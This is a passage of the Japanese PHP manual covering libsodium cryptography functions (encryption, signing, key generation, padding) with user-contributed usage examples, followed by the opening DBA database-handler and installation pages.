      'alg'       => SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13,
      'nonce'     => random_bytes(SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES),
    ];

  // $config['limit_ops'] = SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE;
  // $config['limit_mem'] = SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE;

  $key = sodium_crypto_pwhash(
      $config['size'],
      $password,
      $config['salt'],
      $config['limit_ops'],
      $config['limit_mem'],
      $config['alg'],
    );

  $encrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
      $secret,
      $config['nonce'], // Associated Data
      $config['nonce'],
      $key
    );

  return [
      'config' => array_map('base64_encode', $config),
      'encrypted' => base64_encode($encrypted),
    ];

}

$password = 'YoxPR4QLeZ';
$secret   = 'This-is-my-secret';

$data = secrets_encrypt($password, $secret);

?>

To decrypt with that password, using the same limits:

<?php

function secrets_decrypt($password, $data) {

  $config = array_map('base64_decode', $data['config']);
  $encrypted = base64_decode($data['encrypted']);

  $key = sodium_crypto_pwhash(
      $config['size'],
      $password,
      $config['salt'],
      $config['limit_ops'],
      $config['limit_mem'],
      $config['alg'],
    );

  return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
      $encrypted,
      $config['nonce'], // Associated Data
      $config['nonce'],
      $key
    );

}

$secret = secrets_decrypt($password, $data);

?>


のエイリアス sodium_crypto_box_publickey_from_secretkey

  • ≪ sodium_crypto_pwhash
  • sodium_crypto_scalarmult ≫
  • PHP Manual
  • Sodium 関数
  • のエイリアス sodium_crypto_box_publickey_from_secretkey

sodium_crypto_scalarmult_base

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_scalarmult_base — のエイリアス sodium_crypto_box_publickey_from_secretkey()

説明

この関数は次の関数のエイリアスです。 sodium_crypto_box_publickey_from_secretkey().

User Contributed Notes

There are no user contributed notes for this page.


Compute a shared secret given a user's secret key and another user's public key

  • ≪ sodium_crypto_scalarmult_base
  • sodium_crypto_secretbox_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Compute a shared secret given a user's secret key and another user's public key

sodium_crypto_scalarmult

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_scalarmult — Compute a shared secret given a user's secret key and another user's public key

説明

sodium_crypto_scalarmult ( string $n , string $p ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

n

p

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_scalarmult
  • sodium_crypto_secretbox_open ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_secretbox_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox_keygen — Get random bytes for key

説明

sodium_crypto_secretbox_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verify and decrypt a ciphertext

  • ≪ sodium_crypto_secretbox_keygen
  • sodium_crypto_secretbox ≫
  • PHP Manual
  • Sodium 関数
  • Verify and decrypt a ciphertext

sodium_crypto_secretbox_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox_open — Verify and decrypt a ciphertext

説明

sodium_crypto_secretbox_open ( string $ciphertext , string $nonce , string $key ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

nonce

key

返り値

User Contributed Notes

khalyomede at gmail dot com 31-Dec-2018 11:26
This method will return a string, or false if the data failed to be decrypted.

$key = 'secret';
$data = 'binarydata';
$nonce = random_bytes(SODIUM_CRYPT_SECRETBOX_NONCEBYTES);

$decrypted = sodium_crypto_secretbox_open($data, $nonce, $key);

if ($decrypted === false) {
  throw new Exception('failed to decrypt data');
}


Encrypt a message

  • ≪ sodium_crypto_secretbox_open
  • sodium_crypto_secretstream_xchacha20poly1305_init_pull ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt a message

sodium_crypto_secretbox

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretbox — Encrypt a message

説明

sodium_crypto_secretbox ( string $message , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

nonce

key

返り値

User Contributed Notes

celso fontes 08-Jul-2020 02:20
An example to how encrypt or decrypt using sodium:

<?php

$key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);

$nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ciphertext = sodium_crypto_secretbox("Hello World !", $nonce, $key);

$plaintext = sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
if ($plaintext === false) {
    throw new Exception("Bad ciphertext");
}

echo $plaintext;


Description

  • ≪ sodium_crypto_secretbox
  • sodium_crypto_secretstream_xchacha20poly1305_init_push ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_secretstream_xchacha20poly1305_init_pull

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_init_pull — Description

説明

sodium_crypto_secretstream_xchacha20poly1305_init_pull ( string $header , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

header

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_secretstream_xchacha20poly1305_init_pull
  • sodium_crypto_secretstream_xchacha20poly1305_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_secretstream_xchacha20poly1305_init_push

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_init_push — Description

説明

sodium_crypto_secretstream_xchacha20poly1305_init_push ( string $key ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_secretstream_xchacha20poly1305_init_push
  • sodium_crypto_secretstream_xchacha20poly1305_pull ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_secretstream_xchacha20poly1305_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_keygen — Description

説明

sodium_crypto_secretstream_xchacha20poly1305_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_secretstream_xchacha20poly1305_keygen
  • sodium_crypto_secretstream_xchacha20poly1305_push ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_secretstream_xchacha20poly1305_pull

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_pull — Description

説明

sodium_crypto_secretstream_xchacha20poly1305_pull ( string &$state , string $ciphertext , string $additional_data = "" ) : array|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

state

ciphertext

additional_data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_secretstream_xchacha20poly1305_pull
  • sodium_crypto_secretstream_xchacha20poly1305_rekey ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_secretstream_xchacha20poly1305_push

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_push — Description

説明

sodium_crypto_secretstream_xchacha20poly1305_push ( string &$state , string $message , string $additional_data = "" , int $tag = SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_MESSAGE ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

state

message

additional_data

tag

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_secretstream_xchacha20poly1305_push
  • sodium_crypto_shorthash_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_secretstream_xchacha20poly1305_rekey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_secretstream_xchacha20poly1305_rekey — Description

説明

sodium_crypto_secretstream_xchacha20poly1305_rekey ( string &$state ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

state

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get random bytes for key

  • ≪ sodium_crypto_secretstream_xchacha20poly1305_rekey
  • sodium_crypto_shorthash ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_shorthash_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_shorthash_keygen — Get random bytes for key

説明

sodium_crypto_shorthash_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Compute a fixed-size fingerprint for the message

  • ≪ sodium_crypto_shorthash_keygen
  • sodium_crypto_sign_detached ≫
  • PHP Manual
  • Sodium 関数
  • Compute a fixed-size fingerprint for the message

sodium_crypto_shorthash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_shorthash — Compute a fixed-size fingerprint for the message

説明

sodium_crypto_shorthash ( string $message , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Sign the message

  • ≪ sodium_crypto_shorthash
  • sodium_crypto_sign_ed25519_pk_to_curve25519 ≫
  • PHP Manual
  • Sodium 関数
  • Sign the message

sodium_crypto_sign_detached

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_detached — Sign the message

説明

sodium_crypto_sign_detached ( string $message , string $secret_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

secret_key

返り値

User Contributed Notes

cb at dialogs dot com 12-May-2020 01:06
For those(like me) confused by sodium_crypto_sign() vs. sodium_crypto_sign_detached()

From the libsodium docs https://libsodium.gitbook.io/doc/public-key_cryptography/public-key_signatures

The crypto_sign() function prepends a signature to a message  "Combined mode"

In "detached mode" the signature is stored without attaching a copy of the original message to it.
craig at craigfrancis dot co dot uk 25-Aug-2018 07:33
Here's a quick example on how to use sodium_crypto_sign_detached(); where you have a message that you want to sign, so anyone with the public key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign(), but the returned string does not contain the original message, it is just a signature.

<?php

// $sign_seed = random_bytes(SODIUM_CRYPTO_SIGN_SEEDBYTES);
// $sign_pair = sodium_crypto_sign_seed_keypair($sign_seed);

$sign_pair = sodium_crypto_sign_keypair();
$sign_secret = sodium_crypto_sign_secretkey($sign_pair);
$sign_public = sodium_crypto_sign_publickey($sign_pair);

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$signature = sodium_crypto_sign_detached($message, $sign_secret);

//--------------------------------------------------
// Person 2, verifying

$message_valid = sodium_crypto_sign_verify_detached($signature, $message, $sign_public);

if (!$message_valid) {
    exit('Message has been changed.');
}

?>


Convert an Ed25519 public key to a Curve25519 public key

  • ≪ sodium_crypto_sign_detached
  • sodium_crypto_sign_ed25519_sk_to_curve25519 ≫
  • PHP Manual
  • Sodium 関数
  • Convert an Ed25519 public key to a Curve25519 public key

sodium_crypto_sign_ed25519_pk_to_curve25519

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_ed25519_pk_to_curve25519 — Convert an Ed25519 public key to a Curve25519 public key

説明

sodium_crypto_sign_ed25519_pk_to_curve25519 ( string $public_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

public_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Convert an Ed25519 secret key to a Curve25519 secret key

  • ≪ sodium_crypto_sign_ed25519_pk_to_curve25519
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey ≫
  • PHP Manual
  • Sodium 関数
  • Convert an Ed25519 secret key to a Curve25519 secret key

sodium_crypto_sign_ed25519_sk_to_curve25519

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_ed25519_sk_to_curve25519 — Convert an Ed25519 secret key to a Curve25519 secret key

説明

sodium_crypto_sign_ed25519_sk_to_curve25519 ( string $secret_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

secret_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_sign_ed25519_sk_to_curve25519
  • sodium_crypto_sign_keypair ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_sign_keypair_from_secretkey_and_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_keypair_from_secretkey_and_publickey — Description

説明

sodium_crypto_sign_keypair_from_secretkey_and_publickey ( string $secret_key , string $public_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

secret_key

public_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Randomly generate a secret key and a corresponding public key

  • ≪ sodium_crypto_sign_keypair_from_secretkey_and_publickey
  • sodium_crypto_sign_open ≫
  • PHP Manual
  • Sodium 関数
  • Randomly generate a secret key and a corresponding public key

sodium_crypto_sign_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_keypair — Randomly generate a secret key and a corresponding public key

説明

sodium_crypto_sign_keypair ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check that the signed message has a valid signature

  • ≪ sodium_crypto_sign_keypair
  • sodium_crypto_sign_publickey_from_secretkey ≫
  • PHP Manual
  • Sodium 関数
  • Check that the signed message has a valid signature

sodium_crypto_sign_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_open — Check that the signed message has a valid signature

説明

sodium_crypto_sign_open ( string $ciphertext , string $public_key ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ciphertext

public_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Extract the public key from the secret key

  • ≪ sodium_crypto_sign_open
  • sodium_crypto_sign_publickey ≫
  • PHP Manual
  • Sodium 関数
  • Extract the public key from the secret key

sodium_crypto_sign_publickey_from_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_publickey_from_secretkey — Extract the public key from the secret key

説明

sodium_crypto_sign_publickey_from_secretkey ( string $secret_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

secret_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_sign_publickey_from_secretkey
  • sodium_crypto_sign_secretkey ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_sign_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_publickey — Description

説明

sodium_crypto_sign_publickey ( string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ sodium_crypto_sign_publickey
  • sodium_crypto_sign_seed_keypair ≫
  • PHP Manual
  • Sodium 関数
  • Description

sodium_crypto_sign_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_secretkey — Description

説明

sodium_crypto_sign_secretkey ( string $key_pair ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

key_pair

返り値

User Contributed Notes

There are no user contributed notes for this page.


Deterministically derive the key pair from a single key

  • ≪ sodium_crypto_sign_secretkey
  • sodium_crypto_sign_verify_detached ≫
  • PHP Manual
  • Sodium 関数
  • Deterministically derive the key pair from a single key

sodium_crypto_sign_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_seed_keypair — Deterministically derive the key pair from a single key

説明

sodium_crypto_sign_seed_keypair ( string $seed ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

seed

返り値

User Contributed Notes

There are no user contributed notes for this page.


Verify signature for the message

  • ≪ sodium_crypto_sign_seed_keypair
  • sodium_crypto_sign ≫
  • PHP Manual
  • Sodium 関数
  • Verify signature for the message

sodium_crypto_sign_verify_detached

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_verify_detached — Verify signature for the message

説明

sodium_crypto_sign_verify_detached ( string $signature , string $message , string $public_key ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

signature

message

public_key

返り値

User Contributed Notes

Anonymous 12-May-2020 11:50
<?php

$message = 'The quick brown fox jumped over the lazy dog.';

# Generate keypair
$keyPair = sodium_crypto_sign_keypair();

# Sign a message
$secKey = sodium_crypto_sign_secretkey($keyPair);
$signature = sodium_crypto_sign_detached($message, $secKey);

# Verify a message
$pubKey = sodium_crypto_sign_publickey($keyPair);
$verifyResult = sodium_crypto_sign_verify_detached($signature, $message, $pubKey);

var_dump($verifyResult); # true or false

?>


Sign a message

  • ≪ sodium_crypto_sign_verify_detached
  • sodium_crypto_stream_keygen ≫
  • PHP Manual
  • Sodium 関数
  • Sign a message

sodium_crypto_sign

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign — Sign a message

説明

sodium_crypto_sign ( string $message , string $secret_key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

secret_key

返り値

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Aug-2018 07:34
Here's a quick example on how to use sodium_crypto_sign(); where you have a message that you want to sign, so anyone with the public key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign_detached(), but the returned string contains the original message as well (in plain text, at the end, so anyone can read it).

<?php

// $sign_seed = random_bytes(SODIUM_CRYPTO_SIGN_SEEDBYTES);
// $sign_pair = sodium_crypto_sign_seed_keypair($sign_seed);

$sign_pair = sodium_crypto_sign_keypair();
$sign_secret = sodium_crypto_sign_secretkey($sign_pair);
$sign_public = sodium_crypto_sign_publickey($sign_pair);

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$message_signed = sodium_crypto_sign($message, $sign_secret);

//--------------------------------------------------
// Person 2, verifying

$message = sodium_crypto_sign_open($message_signed, $sign_public);

echo $message . "\n";

?>


Get random bytes for key

  • ≪ sodium_crypto_sign
  • sodium_crypto_stream_xor ≫
  • PHP Manual
  • Sodium 関数
  • Get random bytes for key

sodium_crypto_stream_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream_keygen — Get random bytes for key

説明

sodium_crypto_stream_keygen ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Encrypt a message

  • ≪ sodium_crypto_stream_keygen
  • sodium_crypto_stream ≫
  • PHP Manual
  • Sodium 関数
  • Encrypt a message

sodium_crypto_stream_xor

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream_xor — Encrypt a message

説明

sodium_crypto_stream_xor ( string $message , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

message

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Generate a deterministic sequence of bytes from a seed

  • ≪ sodium_crypto_stream_xor
  • sodium_hex2bin ≫
  • PHP Manual
  • Sodium 関数
  • Generate a deterministic sequence of bytes from a seed

sodium_crypto_stream

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream — Generate a deterministic sequence of bytes from a seed

説明

sodium_crypto_stream ( int $length , string $nonce , string $key ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

length

nonce

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Decodes a hexadecimally encoded binary string

  • ≪ sodium_crypto_stream
  • sodium_increment ≫
  • PHP Manual
  • Sodium 関数
  • Decodes a hexadecimally encoded binary string

sodium_hex2bin

(PHP 7 >= 7.2.0, PHP 8)

sodium_hex2bin — Decodes a hexadecimally encoded binary string

説明

sodium_hex2bin ( string $string , string $ignore = "" ) : string

Decodes a hexadecimally encoded binary string.

Like sodium_bin2hex(), sodium_hex2bin() is resistant to side-channel attacks while hex2bin() is not.

パラメータ

string

Hexadecimal representation of data.

ignore

Optional string argument for characters to ignore.

返り値

Returns the binary representation of the given string data.

User Contributed Notes

There are no user contributed notes for this page.


Increment large number

  • ≪ sodium_hex2bin
  • sodium_memcmp ≫
  • PHP Manual
  • Sodium 関数
  • Increment large number

sodium_increment

(PHP 7 >= 7.2.0, PHP 8)

sodium_increment — Increment large number

説明

sodium_increment ( string &$string ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

返り値

User Contributed Notes

There are no user contributed notes for this page.


Test for equality in constant-time

  • ≪ sodium_increment
  • sodium_memzero ≫
  • PHP Manual
  • Sodium 関数
  • Test for equality in constant-time

sodium_memcmp

(PHP 7 >= 7.2.0, PHP 8)

sodium_memcmp — Test for equality in constant-time

説明

sodium_memcmp ( string $string1 , string $string2 ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string1

string2

返り値

User Contributed Notes

divinity76 at gmail dot com 15-Sep-2019 07:17
seems to me that this function does the same as the hash_equals() function. hash_equals() has nothing to do with hashes really, it is just a constant-time string equality check function, apparently like sodium_memcmp()


Overwrite buf with zeros

  • ≪ sodium_memcmp
  • sodium_pad ≫
  • PHP Manual
  • Sodium 関数
  • Overwrite buf with zeros

sodium_memzero

(PHP 7 >= 7.2.0, PHP 8)

sodium_memzero — Overwrite buf with zeros

説明

sodium_memzero ( string &$string ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add padding data

  • ≪ sodium_memzero
  • sodium_unpad ≫
  • PHP Manual
  • Sodium 関数
  • Add padding data

sodium_pad

(PHP 7 >= 7.2.0, PHP 8)

sodium_pad — Add padding data

説明

sodium_pad ( string $string , int $length ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

length

返り値

User Contributed Notes

There are no user contributed notes for this page.


Remove padding data

  • ≪ sodium_pad
  • SodiumException ≫
  • PHP Manual
  • Sodium 関数
  • Remove padding data

sodium_unpad

(PHP 7 >= 7.2.0, PHP 8)

sodium_unpad — Remove padding data

説明

sodium_unpad ( string $string , int $block_size ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

string

block_size

返り値

User Contributed Notes

There are no user contributed notes for this page.


SodiumException クラス

(PHP 7 >= 7.2.0, PHP 8)

はじめに

sodium 関数によってスローされる例外です。

クラス概要

SodiumException extends Exception implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


データベース関連

  • 抽象化レイヤー
    • DBA — データベース (dbm 形式) 抽象化レイヤ
    • ODBC — ODBC (Unified)
    • PDO — PHP Data Objects
  • ベンダー固有のモジュール
    • CUBRID
    • DB++
    • dBase
    • filePro
    • Firebird/InterBase
    • FrontBase
    • IBM DB2 — IBM DB2、Cloudscape および Apache Derby
    • Ingres — Ingres DBMS, EDBC および Enterprise Access Gateways
    • Mongo — MongoDB ドライバ (旧版)
    • MongoDB — MongoDB driver
    • MySQL — MySQL ドライバおよびプラグイン
    • OCI8 — Oracle OCI8
    • Paradox — Paradox ファイルアクセス
    • PostgreSQL
    • SQLite3
    • SQLSRV — PHP 用 Microsoft SQL Server ドライバ
    • tokyo_tyrant

User Contributed Notes

There are no user contributed notes for this page.


抽象化レイヤー

  • DBA — データベース (dbm 形式) 抽象化レイヤ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • DBA 関数
  • ODBC — ODBC (Unified)
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ODBC 関数
  • PDO — PHP Data Objects
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 接続、および接続の管理
    • トランザクションおよび自動コミット
    • プリペアドステートメントおよびストアドプロシージャ
    • エラーおよびエラー処理
    • ラージオブジェクト (LOB)
    • PDO — PDO クラス
    • PDOStatement — PDOStatement クラス
    • PDOException — PDOException クラス
    • PDO ドライバ

User Contributed Notes

There are no user contributed notes for this page.


データベース (dbm 形式) 抽象化レイヤ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な例
  • DBA 関数
    • dba_close — DBA データベースを閉じる
    • dba_delete — キーが指す DBA エントリを削除する
    • dba_exists — キーが存在するかどうかを確認する
    • dba_fetch — キーが指すデータを取得する
    • dba_firstkey — 最初のキーを取得する
    • dba_handlers — 利用可能なハンドラの一覧を得る
    • dba_insert — エントリを挿入する
    • dba_key_split — 文字列形式のキーを配列形式に分割する
    • dba_list — オープンされている全データベースファイルのリストを得る
    • dba_nextkey — 次のキーを取得する
    • dba_open — データベースをオープンする
    • dba_optimize — データベースを最適化する
    • dba_popen — データベースを持続的にオープンする
    • dba_replace — エントリを置換または挿入する
    • dba_sync — データベースを同期する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの関数は、Berkeley DB 型データベースへのアクセス用の基本関数を構成します。

これらの関数は、複数のファイルベースのデータベース用の抽象化レイヤです。 その機能は、» Oracle Berkeley DB でサポートされているような近代的なデータベースの 機能のサブセットに制限されています。

User Contributed Notes

There are no user contributed notes for this page.


要件

各機能の動作は、使用するデータベースの実装に依存します。 dba_optimize() および dba_sync() のような関数は、特定のデータベースでは動作しますが、他のデータベースでは 機能しません。サポートされるdbaハンドラをダウンロードし、インストールする 必要があります。

DBA ハンドラのリスト
ハンドラ | 注意
dbm | dbm は最も古い(元祖の)Berkeley DB 型データベースです。可能なら ば使用しない方が良いでしょう。DB2 および gdbm に組み込まれている 互換性を保つための関数は、サポートされません。これは、実装されて いるのがソースレベルの互換性のみであり、元の dbm フォーマットを 処理することができないためです。
ndbm | ndbm は、dbm に比べて新しく、dbm よりも柔軟です。 dbm 固有の制約の多くをまだ有しています（そのため、 推奨されません）。
gdbm | Gdbm は、» GNU データベースマネージャ です。
db2 | DB2 は、» Oracle Berkeley DB 2 用です。これは、「スタンドアローンおよびクライアント/サーバー アプリケーションの両方で高性能な組込みデータベースサポートを提供する プログラム用ツールキット」として記述されています。
db3 | DB3 は、» Oracle Berkeley DB 3 用です。
db4 | DB4 は、» Oracle Berkeley DB 4 あるいは 5 用です。 BDB 5 を使用できるのは、PHP 5.3.3 以降です。
cdb | cdb は「固定データベースの作成・読込み用の、高速で高信頼性の 軽量型パッケージ」です。これは qmail の作者によるものであり、 » http://cr.yp.to/cdb.html にあります。 固定であるため、読込操作のみがサポートされます。 内部的な cdb ライブラリにより（更新ではなく） 書き込みがサポートされています。
cdb_make | 付属する cdb ライブラリを使用する場合に cdb ファイルの（更新ではなく）作成をサポートします。
flatfile | これは、古い dbm 拡張モジュールとの互換性の ためだけのものであり、使用するべきではありません。 しかし、ファイルがこの形式で作成された場所でこれを使用する ことができます。これは、configure が外部ライブラリを見付ける ことができない場合に生じます。
inifile | これは PHP スクリプトから php.ini ファイルを書き換えられるようにします。ini ファイルを扱う場合は、 array(0=>group,1=>value_name) のような配列、あるいは "[group]value_name" のような文字列を渡します（group はオプションです）。 dba_firstkey() や dba_nextkey() はキーを文字列形式で返しますが、 dba_key_split() を用いるとそれを配列形式に 変換できます。その際に false を失うこともありません。
qdbm | qdbm ライブラリは » http://fallabs.com/qdbm/index.html からダウンロードできます。
tcadb | これは PHP 5.4.0 以降で有効です。Tokyo Cabinet ライブラリは » http://fallabs.com/tokyocabinet/ からダウンロードできます。
lmdb | PHP 7.2.0 以降で利用可能です。 Lightning Memory-Mapped Database ライブラリは » https://symas.com/lmdb/ からダウンロードできます。

dba_open() または dba_popen() 関数を実行する際、引数にハンドラ名の一つを指定する必要があります。 実際に利用可能なハンドラのリストは、 phpinfo() または dba_handlers() をコールした際に表示されます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

設定オプション --enable-dba=shared を使用することにより、dbm 形式のデータベースをサポートする動的に ロード可能なモジュールを有効にして PHP を構築することができます。 また、PHP の configure 行に設定スイッチ --with-XXXX または --enable-XXXX を指定することにより、少なくとも以下のハンドラの一つのサポートを 追加する必要があります。

警告

PHP の configuring とコンパイルを済ませたら、コマンドラインから次の テストを実行する必要があります: php run-tests.php ext/dba これは、指定したハンドラの組み合わせが動作するかどうかを調べます。 いちばん問題のあるのは dbm と ndbm の組み合わせで、これらは多くの場合何らかの衝突を引き起こします。 その原因は、いくつかのシステムではこれらのライブラリが他のライブラリの 一部となっていることで。configure 時のテストでは個々のハンドラについての 設定不備は調べられますが、それらの組み合わせについてはテストできません。

サポートされるDBAハンドラ
ハンドラ | configure のスイッチ
dbm dbm のサポートを有効にするには、 --with-dbm[=DIR] を追加します。

注意:

dbm は一般的にはラッパーで、しばしば失敗を引き起こします。 その動作をしっかり把握しており、ほんとうにそれを必要とする場合のみ dbm を使用するようにすべきです。
